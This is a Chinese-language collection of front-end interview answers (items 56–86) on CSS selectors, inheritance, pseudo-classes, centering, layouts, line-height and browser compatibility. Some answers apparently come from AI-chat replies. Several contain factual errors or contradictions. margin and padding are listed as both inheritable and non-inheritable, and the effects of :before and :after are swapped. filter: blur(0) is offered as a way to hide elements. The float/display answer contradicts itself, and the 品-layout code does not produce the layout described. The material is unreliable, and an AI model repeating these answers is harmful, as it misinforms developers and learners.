了解和掌握外边距折叠的规则可以帮助我们更好地处理布局和样式相关的问题。

# 56 CSS选择符有哪些?哪些属性可以继承

你列举的CSS选择器是正确的,以下是它们的详细说明:

  1. id选择器(#myid):通过元素的id属性选择元素,id应该是唯一的。
  2. 类选择器(.myclassname):通过元素的class属性选择元素,一个元素可以有多个类名。
  3. 标签选择器(divh1p等):通过元素的标签名选择元素。
  4. 相邻选择器(h1 + p):选择紧接在指定元素后面的兄弟元素。
  5. 子选择器(ul > li):选择指定元素的直接子元素。
  6. 后代选择器(li a):选择指定元素的后代元素,可以是子元素、孙子元素等。
  7. 通配符选择器(*):匹配所有元素。
  8. 属性选择器(a[rel="external"]):通过元素的属性值选择元素。
  9. 伪类选择器(a:hoverli:nth-child等):选择特定状态或位置的元素。

这些选择器可以单独使用,也可以组合使用,以选择特定的元素或元素组。通过选择器,可以实现对页面中的不同元素进行样式控制和操作。

CSS哪些属性可以继承?哪些属性不可以继承

实际上,继承性并不是根据某个属性是可继承属性还是不可继承属性来决定的。继承性是根据具体的属性规定来决定的。以下是一些常见的可继承属性和不可继承属性的示例:

可继承属性:

  • 文本相关属性:font-familyfont-sizefont-weightfont-styleline-heightcolor
  • 链接相关属性:text-decorationcursor
  • 盒模型相关属性:marginpadding
  • 列表相关属性:list-style-typelist-style-imagelist-style-position
  • 表格相关属性:border-collapseborder-spacing

不可继承属性:

  • 盒模型相关属性:widthheightborderborder-radiuspaddingmargin
  • 定位属性:positiontoprightbottomleftfloat
  • 背景相关属性:background-colorbackground-imagebackground-repeatbackground-positionbackground-size

需要注意的是,即使某个属性是可继承属性,但也可以通过显式设置子元素的样式来覆盖继承的值。另外,有些属性可以通过使用inherit关键字来强制继承父元素的值,即使它本身不具备继承性。

需要注意的是,以上列举的可继承属性和不可继承属性并非全部,具体的属性是否具有继承性需要查阅相关文档进行确认。

# 57 CSS3新增伪类有那些

你列举的是CSS3新增的一些伪类,它们可以用于选择特定的元素状态或位置。以下是它们的详细说明:

  1. :root:选择文档的根元素,等同于html元素。
  2. :empty:选择没有子元素的元素。
  3. :target:选取当前活动的目标元素。
  4. :not(selector):选择除selector元素以外的元素。
  5. :enabled:选择可用的表单元素。
  6. :disabled:选择禁用的表单元素。
  7. :checked:选择被选中的表单元素。
  8. :after:在元素内部最前添加内容。
  9. :before:在元素内部最后添加内容。
  10. :nth-child(n):匹配父元素下指定子元素中排序第n个的元素。
  11. :nth-last-child(n):匹配父元素下指定子元素中从后向前数排序第n个的元素。
  12. :nth-child(odd):匹配父元素下指定子元素中奇数位置的元素。
  13. :nth-child(even):匹配父元素下指定子元素中偶数位置的元素。
  14. :nth-child(3n+1):匹配父元素下指定子元素中满足3n+1位置的元素。
  15. :first-child:选择父元素下的第一个子元素。
  16. :last-child:选择父元素下的最后一个子元素。
  17. :only-child:选择父元素下唯一的子元素。
  18. :nth-of-type(n):匹配父元素下指定类型的子元素中排序第n个的元素。
  19. :nth-last-of-type(n):匹配父元素下指定类型的子元素中从后向前数排序第n个的元素。
  20. :nth-of-type(odd):匹配父元素下指定类型的子元素中奇数位置的元素。
  21. :nth-of-type(even):匹配父元素下指定类型的子元素中偶数位置的元素。
  22. :nth-of-type(3n+1):匹配父元素下指定类型的子元素中满足3n+1位置的元素。
  23. :first-of-type:选择父元素下指定类型的第一个子元素。
  24. :last-of-type:选择父元素下指定类型的最后一个子元素。
  25. :only-of-type:选择父元素下指定类型的唯一子元素。
  26. ::selection:选择被用户选取的元素部分。
  27. :first-line:选择元素中的第一行。
  28. :first-letter:选择元素中的第一个字符

# 58 如何居中div?如何居中一个浮动元素?如何让绝对定位的div居中

要居中一个div,可以使用以下方法:

  1. 使用margin: 0 auto;div水平居中。前提是给div设置一个固定的宽度。
div {
  width: 200px;
  margin: 0 auto;
}
  1. 对于浮动元素,可以使用相对定位和负边距的方式进行居中。
.container {
  position: relative;
}

.float-element {
  float: left;
  position: relative;
  left: 50%;
  transform: translateX(-50%);
}
  1. 对于绝对定位的div,可以通过设置top, left, right, bottom 属性为 0,并将margin设置为auto来实现居中。
.absolute-element {
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  margin: auto;
}

以上是一些常用的居中方法,具体选择哪种方法取决于你的布局需求和元素的类型。

# 59 用纯CSS创建一个三角形的原理是什么

使用纯CSS创建三角形的原理是利用元素的边框属性来实现。

具体步骤如下:

  1. 创建一个具有宽度和高度为0的元素。
  2. 设置元素的边框宽度为一个较大的值,例如 20px
  3. 设置元素的边框样式为 solid,表示实线边框。
  4. 通过调整元素的边框颜色,使得三条边中的一条边有颜色,其余两条边颜色为透明,从而形成三角形的形状。

在给定的示例中,#demo元素的宽度和高度为0,边框宽度为20px,边框颜色设置为透明、透明、红色和透明,从而形成一个红色的等腰三角形。

/* 把上、右、左、三条边隐藏掉(颜色设为 transparent) */
#demo {
  width: 0;
  height: 0;
  border-width: 20px;
  border-style: solid;
  border-color: transparent transparent red transparent;
}

# 60 一个满屏 品 字布局 如何设计?

要实现一个满屏的"品"字布局,可以采用以下方法:

HTML 结构:

<div class="container">
  <div class="top"></div>
  <div class="middle"></div>
  <div class="bottom"></div>
</div>

CSS 样式:

.container {
  width: 100%;
  height: 100vh; /* 或者使用 height: 100% */
}

.top, .middle, .bottom {
  width: 50%;
  height: 50vh; /* 或者使用 height: 50% */
  float: left; /* 或者使用 display: inline-block; */
}

.top {
  background-color: red; /* 设置上方区域的背景色 */
}

.middle {
  background-color: white; /* 设置中间区域的背景色 */
}

.bottom {
  background-color: blue; /* 设置下方区域的背景色 */
}

这样设置后,上方区域(红色)占据整个屏幕宽度的一半,中间区域(白色)和下方区域(蓝色)各占据屏幕宽度的一半。可以使用 float: left; 或者 display: inline-block; 来让它们在同一行显示,不换行。

# 61 li与li之间有看不见的空白间隔是什么原因引起的?有什么解决办法

li 与 li 之间的看不见的空白间隔是由于 HTML 中的换行符和空格字符造成的。这些空白字符会被解析为文本节点,而文本节点默认会应用一定的样式,导致 li 之间产生间隔。

解决这个问题的方法有多种,以下是一些常见的解决办法:

  1. 使用负 margin:可以将 li 的 margin 设置为负值,例如 margin-right: -4px;。这样可以抵消掉 li 之间的间隔。
ul {
  margin: 0;
  padding: 0;
}

li {
  margin-right: -4px;
  padding-right: 4px;
  list-style: none;
}
  1. 使用浮动:给 li 添加 float: left; 属性,使其浮动在一行内,消除间隔。
ul {
  margin: 0;
  padding: 0;
  overflow: auto;
}

li {
  float: left;
  list-style: none;
}
  1. 使用 Flexbox 布局:将 ul 设置为 Flex 容器,使 li 自动排列在一行内,间隔消失。
ul {
  margin: 0;
  padding: 0;
  display: flex;
}

li {
  list-style: none;
}

这些方法可以根据具体情况选择使用,根据不同的布局需求选择最合适的解决办法。

# 62 请列举几种隐藏元素的方法

  1. visibility: hidden;: 设置元素为隐藏状态,但仍然占据空间。
  2. opacity: 0;: 将元素的透明度设置为0,使其完全透明。
  3. position: absolute;left: -9999px;: 将元素定位到屏幕可见区域之外,实现隐藏效果。
  4. display: none;: 将元素设为不可见,并且不占据页面布局空间。
  5. transform: scale(0);: 将元素的缩放比例设置为0,元素将不可见,但原始位置仍保留。
  6. <div hidden="hidden">: 使用hidden属性来隐藏元素,与display: none;效果相同,但用于记录元素的状态。
  7. height: 0;: 将元素的高度设为0,消除边框,使其不可见。
  8. filter: blur(0);: 使用filter属性将元素的模糊度设置为0,从视觉上使元素“消失”。

这些方法可以根据实际需求选择适合的隐藏方式,以达到隐藏元素的效果。

# 63 rgba() 和 opacity 的透明效果有什么不同

  • opacity 作用于元素以及元素内的所有内容(包括文字)的透明度
  • rgba() 只作用于元素自身的颜色或其背景色,子元素不会继承透明效果

opacityrgba() 在透明效果上有以下不同:

  • opacity:设置元素及其内容的透明度。透明度值范围为 0(完全透明)到 1(完全不透明)。透明度会应用于元素及其内部所有内容,包括文本、图像等。这意味着如果将一个元素的透明度设置为 0.5,那么元素及其内容都会以半透明的形式显示。
.element {
  opacity: 0.5;
}
  • rgba():用于设置元素自身的颜色或背景色的透明度。这个函数接受四个参数,前三个参数表示颜色的红、绿、蓝通道的数值(取值范围 0-255),第四个参数表示透明度(取值范围 0-1)。透明度值为 0 表示完全透明,为 1 表示完全不透明。这意味着只有元素自身的颜色或背景色会受到透明度的影响,而元素内部的内容不会继承透明效果。
.element {
  background-color: rgba(255, 0, 0, 0.5); /* 红色背景,透明度为 0.5 */
}

总结来说,opacity 会影响元素及其内部所有内容的透明度,而 rgba() 只会影响元素自身的颜色或背景色的透明度,不会影响元素内部的内容。

# 64 css 属性 content 有什么作用

content 属性主要用于在 ::before::after 伪元素中插入额外的内容或样式。

通过设置 content 属性,可以在元素的前面或后面插入指定的内容,包括文本、图标、计数等。它可以接受各种值,如字符串、引用、计数器等。

例如,可以使用 content 属性在元素前面插入一个文本字符:

.element::before {
  content: "→";
}

上述代码将在 .element 元素的前面插入一个箭头字符。

此外,content 属性还可以与其他 CSS 属性一起使用,例如结合 attr() 函数来获取元素的属性值并插入到内容中:

.element::before {
  content: attr(data-text);
}

上述代码会将元素的 data-text 属性值插入到 .element 元素的前面作为内容。

需要注意的是,content 属性只能用于 ::before::after 伪元素中,并且必须配合 display 属性设置为 inlineinline-block 才能生效。

# 65 请解释一下 CSS3 的 Flexbox(弹性盒布局模型)以及适用场景

Flexbox 是 CSS3 中引入的一种弹性盒布局模型,用于在容器内创建灵活的、自适应的布局。它提供了一种强大的方式来对齐、分布和调整容器中的项目。

Flexbox 的适用场景包括但不限于以下情况:

  1. 等高布局:Flexbox 可以轻松实现容器内多个项目等高的布局,无论项目的内容多少。
  2. 自适应布局:Flexbox 可以根据容器的可用空间自动调整项目的大小,以适应不同尺寸的屏幕或容器。
  3. 项目排序:Flexbox 可以通过改变项目的顺序来实现在不同屏幕尺寸下的布局调整。
  4. 对齐和分布:Flexbox 提供了多种对齐和分布项目的方式,如水平居中、垂直居中、平均分布等。
  5. 响应式设计:Flexbox 可以与媒体查询结合使用,根据屏幕尺寸调整容器中项目的布局方式。

Flexbox 的特点包括:

  • 父容器具有弹性,可以自动调整项目的大小和顺序。
  • 子项目可以具有灵活的宽度、高度和顺序。
  • 可以轻松实现响应式设计,适应不同的屏幕尺寸和设备。
  • 提供了多种对齐和分布项目的属性和方法,使布局更加灵活和易于控制。

总而言之,Flexbox 提供了一种简单、直观且强大的布局方式,适用于构建各种自适应和灵活的布局,特别适合用于构建响应式设计和移动端布局。

# 66 经常遇到的浏览器的JS兼容性有哪些?解决方法是什么

经常遇到的浏览器的 JavaScript 兼容性问题及解决方法如下:

  1. 当前样式:获取元素的当前样式属性值
  • 解决方法:使用 getComputedStyle(el, null) 方法获取当前样式属性值,或者使用 el.currentStyle 属性(仅适用于 IE 浏览器)。
  1. 事件对象:处理事件时获取事件对象
  • 解决方法:使用 e 参数获取事件对象,或者使用 window.event(仅适用于 IE 浏览器)。
  1. 鼠标坐标:获取鼠标在页面上的坐标位置
  • 解决方法:使用 e.pageXe.pageY 获取鼠标坐标位置,或者使用 window.event.xwindow.event.y(仅适用于 IE 浏览器)。
  1. 按键码:处理键盘事件时获取按下的键盘按键码
  • 解决方法:使用 e.which 获取按键码,或者使用 event.keyCode(仅适用于 IE 浏览器)。
  1. 文本节点:获取元素中的文本内容
  • 解决方法:使用 el.textContent 获取文本内容,或者使用 el.innerText(仅适用于 IE 浏览器)。

为了解决浏览器的兼容性问题,可以采取以下方法:

  1. 特性检测:通过检测浏览器是否支持某个特定的方法或属性,从而决定使用哪种方式来处理。
  2. 浏览器嗅探:根据浏览器的用户代理字符串来识别浏览器类型,从而采取相应的处理方式。
  3. 使用兼容性库:如 ModernizrjQuery 等,它们封装了许多兼容性处理的方法,可以简化开发过程。
  4. 编写跨浏览器的代码:使用一致的标准和通用的 JavaScript 方法,避免依赖特定浏览器的特性。

综上所述,通过特性检测、浏览器嗅探、使用兼容性库以及编写跨浏览器的代码,可以解决常见的浏览器 JavaScript 兼容性问题。

以下是对每个兼容性问题的示例代码:

1. 当前样式:

var el = document.getElementById('myElement');

// 获取当前样式属性值
var currentStyle;
if (window.getComputedStyle) {
  currentStyle = window.getComputedStyle(el, null).getPropertyValue('color');
} else if (el.currentStyle) {
  currentStyle = el.currentStyle.color;
}
console.log(currentStyle);

2. 事件对象:

// 处理点击事件
function handleClick(e) {
  // 获取事件对象
  var event = e || window.event;
  console.log(event);
}

// 绑定点击事件
var element = document.getElementById('myElement');
if (element.addEventListener) {
  element.addEventListener('click', handleClick, false);
} else if (element.attachEvent) {
  element.attachEvent('onclick', handleClick);
}

3. 鼠标坐标:

// 处理鼠标移动事件
function handleMouseMove(e) {
  // 获取鼠标坐标位置
  var mouseX, mouseY;
  if (e.pageX || e.pageY) {
    mouseX = e.pageX;
    mouseY = e.pageY;
  } else if (e.clientX || e.clientY) {
    mouseX = e.clientX + document.body.scrollLeft + document.documentElement.scrollLeft;
    mouseY = e.clientY + document.body.scrollTop + document.documentElement.scrollTop;
  }
  console.log('Mouse position: ' + mouseX + ', ' + mouseY);
}

// 绑定鼠标移动事件
var element = document.getElementById('myElement');
if (element.addEventListener) {
  element.addEventListener('mousemove', handleMouseMove, false);
} else if (element.attachEvent) {
  element.attachEvent('onmousemove', handleMouseMove);
}

4. 按键码:

// 处理键盘按下事件
function handleKeyDown(e) {
  // 获取按键码
  var keyCode = e.which || e.keyCode;
  console.log('Key pressed: ' + keyCode);
}

// 绑定键盘按下事件
var element = document.getElementById('myElement');
if (element.addEventListener) {
  element.addEventListener('keydown', handleKeyDown, false);
} else if (element.attachEvent) {
  element.attachEvent('onkeydown', handleKeyDown);
}

5. 文本节点:

var el = document.getElementById('myElement');

// 获取元素中的文本内容
var textContent;
if ('textContent' in el) {
  textContent = el.textContent;
} else if ('innerText' in el) {
  textContent = el.innerText;
}
console.log(textContent);

请根据实际情况修改示例代码,并结合特性检测、浏览器嗅探、使用兼容性库以及编写跨浏览器的代码的方法来解决兼容性问题。

# 67 请写出多种等高布局

  1. 使用 JavaScript/jQuery:通过脚本计算元素高度,并将最大高度应用于其他元素。
  2. 使用伪元素和绝对定位:在容器元素中添加一个伪元素,使用绝对定位将其拉伸到与最高元素相同的高度。
  3. 使用表格布局:将容器元素设置为display: table,将子元素设置为display: table-cell,然后使用vertical-align: top或其他对齐方式来实现等高效果。
  4. 使用网格布局(CSS Grid):使用grid-template-rows属性将所有行设置为相同的高度。
  5. 使用flexbox嵌套:将容器元素设置为display: flex,然后在每个子元素中再嵌套一个flexbox容器,将子元素的高度设置为100%,从而实现等高布局。
  6. css3 flexbox 布局: .container{display: flex; align-items: stretch;}

需要根据具体情况选择适合的等高布局方法,考虑兼容性、布局需求和代码复杂度等因素。

# 68 浮动元素引起的问题

浮动元素可能引起以下问题:

  1. 父元素高度塌陷:当父元素包含了浮动元素时,如果没有清除浮动,父元素的高度将无法被正确计算,导致父元素的高度塌陷,影响页面布局。

解决方法:可以在父元素的末尾添加一个空的块级元素,并设置其清除浮动的属性。例如:

.parent::after {
  content: "";
  display: block;
  clear: both;
}
  1. 元素重叠:浮动元素脱离了正常的文档流,可能导致其他元素与其重叠。这通常发生在没有足够空间容纳浮动元素的情况下。

解决方法:可以通过在需要避免重叠的元素上应用clear属性或使用适当的布局技术来解决重叠问题。

  1. 文字环绕:浮动元素会导致周围的文本环绕在其周围,可能影响页面的可读性和布局。

解决方法:可以使用clear属性或使用适当的布局技术来控制浮动元素周围的文本布局,确保页面的可读性和整体布局。

  1. 父元素高度不准确:如果父元素包含浮动元素而没有设置清除浮动,父元素的高度可能不准确,可能会导致布局问题。

解决方法:可以在父元素上应用清除浮动的样式,或使用其他布局技术来解决父元素高度不准确的问题。

总的来说,使用浮动元素时,应注意处理相关的布局问题,避免出现高度塌陷、重叠和布局混乱等问题。可以使用清除浮动、适当的布局技术或其他CSS属性来解决这些问题。

# 69 CSS优化、提高性能的方法有哪些

以下是一些优化和提高CSS性能的方法:

  1. 合并CSS文件:将多个CSS文件合并为一个文件,减少HTTP请求次数。
  2. 将CSS文件放在页面最上面:确保CSS文件在HTML文件中的头部,以便浏览器尽早加载和渲染样式。
  3. 移除空的CSS规则:删除不需要的空的CSS规则,减少文件大小。
  4. 避免使用CSS表达式:CSS表达式在每次页面重绘时都会执行,对性能有一定影响,应避免使用。
  5. 优化选择器嵌套:避免过深的选择器嵌套,减少选择器的复杂度,以提高选择器匹配速度。
  6. 最大限度地利用CSS继承:合理利用CSS属性的继承特性,减少重复的代码量。
  7. 抽象和提取公共样式:将重复的样式抽象出来,提取为公共样式,减少重复的代码量。
  8. 使用简写属性:合理使用CSS的简写属性,减少代码量,例如使用margin代替margin-topmargin-right等单独属性。
  9. 避免不必要的浏览器重绘和重排:在进行DOM操作时,尽量减少对页面布局的影响,以避免不必要的浏览器重绘和重排。
  10. 使用CSS雪碧图:将多个小的图标合并到一个图像文件中,通过CSS的背景定位来显示不同的图标,减少HTTP请求次数。
  11. 使用压缩和缩小CSS文件:使用CSS压缩工具,将CSS文件进行压缩和缩小,减少文件大小,提高加载速度。

这些方法可以帮助优化和提高CSS性能,减少文件大小和HTTP请求次数,加快页面加载速度,提升用户体验。

# 70 浏览器是怎样解析CSS选择器的

浏览器解析CSS选择器的过程是从右到左进行的。当浏览器遇到一个CSS规则时,它会从选择器的最右边开始解析,然后逐步向左匹配元素。

具体的解析过程如下:

  1. 浏览器从右向左选择器的最右边开始解析,找到与该选择器匹配的元素。
  2. 然后,浏览器向左继续解析选择器的下一个部分,检查该元素的父元素是否满足选择器的条件。
  3. 如果满足选择器的条件,则继续向左解析选择器的下一个部分,继续检查父元素的父元素是否满足选择器的条件。
  4. 浏览器重复这个过程,直到解析完整个选择器或者找不到与选择器匹配的元素。

这种从右到左的解析方式可以提高选择器的性能,特别是在面对复杂的选择器和大量元素的情况下。因为从右到左的解析可以尽早过滤掉不匹配的元素,减少了需要遍历的元素数量,提高了选择器的匹配速度。

需要注意的是,并非所有的CSS选择器都适用于从右到左的解析方式,例如属性选择器、伪类选择器等可能需要从左到右进行解析。浏览器在解析CSS选择器时会根据具体的情况选择最优的解析方式。

# 71 在网页中的应该使用奇数还是偶数的字体

在网页中,一般推荐使用偶数号的字体大小。以下是一些原因:

  1. 比例关系:偶数字号相对更容易与网页设计的其他部分形成比例关系,使整个页面看起来更加协调和平衡。
  2. 对齐:使用偶数字号字体可以使文本段落对齐更加方便。如果使用奇数字号字体,文本段落的对齐可能会受到影响,因为奇数字号字体的基线位置可能会导致对齐不准确。
  3. 兼容性:在某些情况下,奇数字号字体可能在不同浏览器和操作系统中显示不一致。使用偶数字号字体可以减少这种显示差异的可能性。

对于中文网页排版,常用的字体大小是12号和14号。这两个偶数字号字体大小在中文排版中使用较多,可以提供良好的可读性和视觉效果。

需要注意的是,具体选择何种字体大小还要根据设计需求、内容呈现和用户体验等因素进行综合考虑。

# 72 margin和padding分别适合什么场景使用

marginpadding 在布局和样式设计中有不同的用途和适用场景。

适合使用 margin 的场景

  • 创建元素之间的空白间距,用于调整元素之间的间隔。
  • 添加外部空白,使元素与周围的元素或容器之间产生间距。
  • 用于调整元素的定位和对齐。
  • 用于调整元素的外边距折叠效果(当相邻元素的外边距相遇时)。

适合使用 padding 的场景

  • 在元素的内部添加空白区域,用于调整元素内部内容与边框之间的距离。
  • 用于创建元素的背景色或背景图的填充区域。
  • 用于调整元素的内边距,影响元素内容与边框的距离。
  • 用于控制元素的尺寸和布局。

需要根据具体的设计需求和布局目标来决定使用 margin 还是 padding。在一些情况下,它们可以互相替代使用,但在其他情况下,选择正确的属性可以更好地控制布局和样式效果。

# 73 抽离样式模块怎么写,说出思路

抽离样式模块的思路可以按照以下步骤进行:

  1. 识别公共样式:分析页面中多个模块或页面之间共享的样式,例如颜色、字体、按钮样式等,将其提取为公共样式。
  2. 创建公共样式表:将公共样式抽离到单独的样式表文件中,例如 common.css,以便在多个页面或模块中引用。
  3. 定义命名规范:为业务样式定义统一的命名规范,例如使用 BEM(Block-Element-Modifier)或其他命名约定,确保样式模块的可维护性和可扩展性。
  4. 拆分业务样式:根据页面或模块的功能和结构,将样式拆分为多个模块,并命名为相应的类名或选择器。每个模块应只关注自身的样式,并尽量避免与其他模块产生冲突。
  5. 创建样式模块文件:为每个样式模块创建单独的样式文件,例如 header.csssidebar.css 等,并按需引入到页面中。
  6. 构建样式层级结构:根据页面或模块的结构和层级关系,合理组织样式文件的引入顺序,确保样式的层叠顺序和继承关系正确。
  7. 统一管理样式文件:根据项目需要,可以使用构建工具(如 webpack、gulp 等)进行样式文件的合并、压缩和打包,减少网络请求和提升页面加载速度。
  8. 维护和更新:在日常开发中,根据需求的变化和新功能的添加,及时更新和维护样式模块,保持样式的一致性和可复用性。

通过以上步骤,可以将样式按照模块化的方式进行抽离和管理,提高代码的可读性、可维护性和重用性。同时,样式模块的拆分也有助于团队协作和并行开发。

# 74 元素竖向的百分比设定是相对于容器的高度吗

实际上,元素竖向的百分比设定是相对于包含它的父元素的高度,而不是宽度。当给一个元素设置竖向的百分比高度时,它会根据其父元素的高度进行计算。例如,如果一个元素的高度设置为50%,则表示该元素的高度将是其父元素高度的50%。

请注意,如果父元素没有明确设置高度,或者父元素的高度是由其内容决定的(如默认的height: auto),那么百分比高度可能无效,因为无法确定相对的基准高度。

需要注意的是,元素的宽度百分比设定是相对于包含它的父元素的宽度。因此,元素的百分比设定在竖向和横向方向上是不同的。

# 75 全屏滚动的原理是什么? 用到了CSS的那些属性

全屏滚动(Full Page Scroll)的原理是通过设置页面的高度为视口高度,并使用滚动事件来控制页面的滚动效果。通过监听滚动事件,当用户滚动页面时,根据滚动的距离来切换页面的显示内容,实现页面的切换效果。

在实现全屏滚动时,可能会用到以下一些CSS属性:

  • overflow: hidden;:用于隐藏超出视口范围的内容,以实现滚动效果。
  • transform: translate(100%, 100%);:通过translate属性将页面移动到视口之外,从而隐藏页面的初始位置。
  • display: none;:可以将页面的初始状态设置为隐藏,待滚动到相应位置时再显示。

这些属性可以结合使用,根据滚动事件的触发来控制页面的显示和隐藏,从而实现全屏滚动的效果。具体的实现方式可能因应用场景而有所差异。

# 76 什么是响应式设计?响应式设计的基本原理是什么?如何兼容低版本的IE

  • 响应式设计就是网站能够兼容多个终端,而不是为每个终端做一个特定的版本
  • 基本原理是利用CSS3媒体查询,为不同尺寸的设备适配不同样式
  • 对于低版本的IE,可采用JS获取屏幕宽度,然后通过resize方法来实现兼容:
$(window).resize(function () {
  screenRespond();
});
screenRespond();
function screenRespond(){
var screenWidth = $(window).width();
if(screenWidth <= 1800){
  $("body").attr("class", "w1800");
}
if(screenWidth <= 1400){
  $("body").attr("class", "w1400");
}
if(screenWidth > 1800){
  $("body").attr("class", "");
}
}

# 77 什么是视差滚动效果,如何给每页做不同的动画

视差滚动效果是一种在网页中使用的动画效果,通过在滚动页面时,不同层级的元素以不同的速度移动,形成立体的运动效果。这种效果可以给用户带来更加丰富、生动的视觉体验。

实现视差滚动效果时,可以将页面划分为背景层、内容层和悬浮层等不同的层级。通过设置不同层级的元素以不同的速度移动,可以形成层次感和立体效果。

具体实现视差滚动效果的方法如下:

  1. 使用HTML和CSS创建页面的不同层级,如背景层、内容层和悬浮层。
  2. 监听滚动事件(如鼠标滚轮事件或触摸滑动事件)。
  3. 当滚动事件触发时,根据滚动的距离和速度,计算出不同层级元素的位移值。
  4. 使用CSS的transform属性或JavaScript的动画库(如GSAP、ScrollMagic等)来实现元素的平移或缩放效果。
  5. 根据需求,为每个页面或元素设置不同的动画效果,如淡入淡出、旋转、缩放等。
  6. 根据滚动的进度和方向,控制元素的动画播放顺序和速度,以达到预期的视差滚动效果。

需要注意的是,在实现视差滚动效果时,要考虑到性能和用户体验。过多或复杂的动画效果可能会影响页面加载和滚动的流畅性,因此需要谨慎选择和设计动画效果,并进行性能优化,如合理使用硬件加速、使用节流和防抖等技术手段。

另外,为每个页面或元素设置不同的动画效果可以根据具体的设计需求来确定。可以根据页面的主题、内容或目的来决定使用何种动画效果,如淡入淡出效果、元素的移动或旋转效果等,以增加页面的吸引力和交互性。可以通过CSS的animation属性或JavaScript的动画库来实现这些动画效果,并根据滚动进度或其他触发条件来控制动画的播放。

总结

  • 视差滚动是指多层背景以不同的速度移动,形成立体的运动效果,具有非常出色的视觉体验
  • 一般把网页解剖为:背景层、内容层和悬浮层。当滚动鼠标滚轮时,各图层以不同速度移动,形成视差的
  • 实现原理
    • 以 “页面滚动条” 作为 “视差动画进度条”
    • 以 “滚轮刻度” 当作 “动画帧度” 去播放动画的
    • 监听 mousewheel 事件,事件被触发即播放动画,实现“翻页”效果

# 78 a标签上四个伪类的执行顺序是怎么样的

伪类在a标签上的执行顺序是 link(未访问链接) -> visited(已访问链接) -> hover(鼠标悬停) -> active(激活状态)。

执行顺序可以用记忆口诀 "L-V-H-A"(Love Hate)来记忆,表示喜欢和讨厌的顺序。首先应用 link 样式,然后是 visited 样式,接着是 hover 样式,最后是 active 样式。这个顺序也是 CSS 解析和应用伪类样式的规定顺序。

# 79 伪元素和伪类的区别和作用

  • 伪元素 -- 在内容元素的前后插入额外的元素或样式,但是这些元素实际上并不在文档中生成。
  • 它们只在外部显示可见,但不会在文档的源代码中找到它们,因此,称为“伪”元素。例如:
p::before {content:"第一章:";}
p::after {content:"Hot!";}
p::first-line {background:red;}
p::first-letter {font-size:30px;}

  • 伪类 -- 将特殊的效果添加到特定选择器上。它是已有元素上添加类别的,不会产生新的元素。例如:
a:hover {color: #FF00FF}
p:first-child {color: red}

# 80 ::before 和 :after 中双冒号和单冒号有什么区别

  • 在 CSS 中伪类一直用 : 表示,如 :hover, :active
  • 伪元素在CSS1中已存在,当时语法是用 : 表示,如 :before:after
  • 后来在CSS3中修订,伪元素用 :: 表示,如 ::before::after,以此区分伪元素和伪类
  • 由于低版本IE对双冒号不兼容,开发者为了兼容性各浏览器,继续使使用 :after 这种老语法表示伪元素
  • 总结起来,::before 是CSS3中写伪元素的新语法,而 :after 是早期版本CSS中存在的、兼容IE的旧语法,用于表示伪元素。在实际开发中,为了兼容性考虑,可以选择使用单冒号的写法。

# 81 如何修改Chrome记住密码后自动填充表单的黄色背景

  • 产生原因:由于Chrome默认会给自动填充的input表单加上 input:-webkit-autofill 私有属性造成的
  • 解决方案1:在form标签上直接关闭了表单的自动填充:autocomplete="off"
  • 解决方案2:input:-webkit-autofill { background-color: transparent; }

input [type=search] 搜索框右侧小图标如何美化?

input[type="search"]::-webkit-search-cancel-button{
  -webkit-appearance: none;
  height: 15px;
  width: 15px;
  border-radius: 8px;
  background:url("images/searchicon.png") no-repeat 0 0;
  background-size: 15px 15px;
}

# 82 网站图片文件,如何点击下载?而非点击预览

可以通过在 <a> 标签中添加 href 属性来指定图片文件的路径,并使用 download 属性来指示浏览器下载该文件而非预览。

<a href="logo.jpg" download>下载</a>

上述代码会在网页中显示一个链接,点击该链接会下载名为 logo.jpg 的图片文件。

您还可以通过添加 download 属性的值来指定下载文件的名称,如下所示:

<a href="logo.jpg" download="网站LOGO">下载</a>

上述代码会下载名为 网站LOGO.jpg 的图片文件。

请注意,download 属性在某些浏览器中可能不被支持或具有限制。在不支持该属性的浏览器中,点击链接可能仍然会打开预览。此外,如果您在网站中使用了内容安全策略(Content Security Policy),可能需要额外配置才能允许下载文件。

确保文件路径正确,并根据需要设置适当的下载文件名称。

# 83 你对 line-height 是如何理解的

  • line-height 是一行字的高度,包括了字体的实际高度以及行间距(字间距)。
  • 当一个元素没有显式设置 height 属性时,它的高度会由 line-height 决定。
  • 如果一个容器没有设置高度,并且容器内部有文本内容,那么容器的高度会由 line-height 撑开。
  • 如果将 line-height 设置为与容器的 height 相同的值,可以实现单行文本的垂直居中。
  • 注意,line-heightheight 都可以撑开元素的高度,但是设置 height 属性会触发元素的 haslayout(仅适用于部分浏览器),而 line-height 不会触发该特性。

需要注意的是,line-height 还可以影响多行文本的行间距和垂直居中,它是一个很常用的属性用于调整文本的排版和布局。

# 84 line-height 三种赋值方式有何区别?(带单位、纯数字、百分比)

对于 line-height 的三种赋值方式,如下所述:

  1. 带单位:使用像素 (px) 或其他单位 (如 em) 进行赋值。当使用固定值(如 px)时,line-height 会直接采用该固定值作为行高。而当使用相对单位(如 em)时,line-height 会根据元素的父元素的字体大小 (font-size) 来计算行高,即乘以相应的倍数。
  2. 纯数字:直接使用数字进行赋值。这种情况下,数字会被传递给后代元素,作为其行高的比例因子。例如,如果父元素的行高为 1.5,而子元素的字体大小为 18px,那么子元素的行高就会被计算为 1.5 * 18 = 27px
  3. 百分比:使用百分比进行赋值。百分比值会相对于父元素的字体大小进行计算,并将计算后的值传递给后代元素作为其行高。

总的来说,带单位的方式是直接指定具体的行高值,纯数字和百分比的方式会将计算后的行高值传递给后代元素。这些不同的赋值方式可以根据具体的需求和设计效果来选择使用。

# 85 设置元素浮动后,该元素的 display 值会如何变化

  • 设置元素浮动后,元素的 display 值并不会自动变成 block,而是保持原有的 display 值。浮动元素的 display 值仍然是根据元素的默认样式或通过 CSS 显式设置的值。
  • 然而,浮动元素会生成一个块级框,并且脱离了正常的文档流,会影响其他元素的布局。常见的浮动值为 leftright,使元素向左或向右浮动,并允许其他内容环绕在其周围。
  • 需要注意的是,对于一些内联元素,如 spana 等,默认的 display 值是 inline,当设置这些内联元素为浮动时,会自动转换为 block,但这并不适用于所有元素。

# 86 让页面里的字体变清晰,变细用CSS怎么做?(IOS手机浏览器字体齿轮设置)

通过设置 -webkit-font-smoothing 属性为 antialiased 可以在 iOS 手机浏览器中使字体显示更清晰、更细腻。这个属性是针对 iOS Safari 浏览器的特定设置。

body {
  -webkit-font-smoothing: antialiased;
}

